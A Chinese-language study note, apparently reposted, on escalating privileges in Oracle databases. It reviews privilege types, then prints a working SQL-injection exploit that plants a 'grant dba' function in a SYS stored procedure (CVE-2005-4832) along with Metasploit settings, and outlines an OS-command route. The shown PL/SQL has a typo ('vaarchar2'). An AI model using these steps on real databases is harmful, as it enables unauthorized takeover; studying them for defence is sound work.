Day6——提權學習之Oracle數據庫提權學習總結


0x00 Oracle提權基礎

1、Oracle權限分配

1.1 系統權限

系統規定用戶使用數據庫的權限。(系統權限是對用戶而言)。

系統權限分類
DBA: 擁有全部特權,是系統最高權限,只有DBA才可以創建數據庫結構。
RESOURCE:擁有Resource權限的用戶只可以創建實體,不可以創建數據庫結構。
CONNECT:擁有Connect權限的用戶只可以登錄Oracle,不可以創建實體,不可以創建數據庫結構。
對於普通用戶:授予connect, resource權限。
對於DBA管理用戶:授予connect,resource, dba權限。

1.2 實體權限

某種權限用戶對其它用戶的表或視圖的存取權限。(是針對表或視圖而言的)。

實體權限分類
select, update, insert, alter, index, delete, all //all包括所有權限
execute //執行存儲過程權限

0x01 Oracle提權方法

1、通過注入存儲過程提權(低權限提升至DBA)

1.1 原理

SYS創建的存儲過程存在sql注入。擁有create procedure權限的用戶通過創建提權函數,將提權函數注入到存儲過程中,於是該存儲過程將調用這個提權函數來執行grant dba to quan命令,獲得Oracle數據庫dba權限

1.2 利用條件

1、SYS創建的存儲過程存在sql注入(EG:CVE-2005-4832)

2、用戶擁有create procedure權限(用來創建函數)

1.3 提權步驟

假設有一個用戶quan 只有 CONNECT 和 RESOURCE 權限

1.3.1 手工注入

(1)用戶登陸后執行select * from session_privs查看權限

(2)創建函數,命令為grant dba to quan

grant execute on pwn to public;//賦予所有用戶此函數的執行權限

SQL>create or replace function pwn return vaarchar2
authid current_user is pragma autonomous_transaction;
begin
execute immediate 'grant dba to quan';
return '';
end;
/

SQL>grant execute on pwn to public;
/

(3)注入sys.dbms_cdc_subscribe.activate_subscription

SQL>begin
sys.dbms_cdc_subscribe.activate_subscription('''||quan.pwn()||''');
end;
/

SQL>set role dba;

(4)執行select * from session_privs查看是否為dba權限

1.3.2 利用MSF注入

(1)加載攻擊模塊

use auxiliary/sqli/oracle/dbms_cdc_subscribe.activate_subscription

(2)配置參數

set dbuser quan

set dbpass quan123

set sid orcl

set rhost xxxxx

set sql grant dba to quan

(3)run

2、通過utl_http.request存儲過程提權

2.1 原理

Oracle9i~11gR2中dbms_xmlquery.newcontext()dbms_xmlquery.getxml()函數可以執行任意PL/SQL語句,利用這兩個函數可以獲得Oracle服務器的操作系統權限

2.2 利用條件

1、UTL_HTTP存儲過程可用

2、Oracle9i~11gR2

2.3 提權步驟

(1)創建Java包

(2)創建存儲過程MYJAVACMD

(3)執行存儲過程,成功添加用戶

0x02 參考文章

《網絡攻防實戰研究——漏洞利用與提權》


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM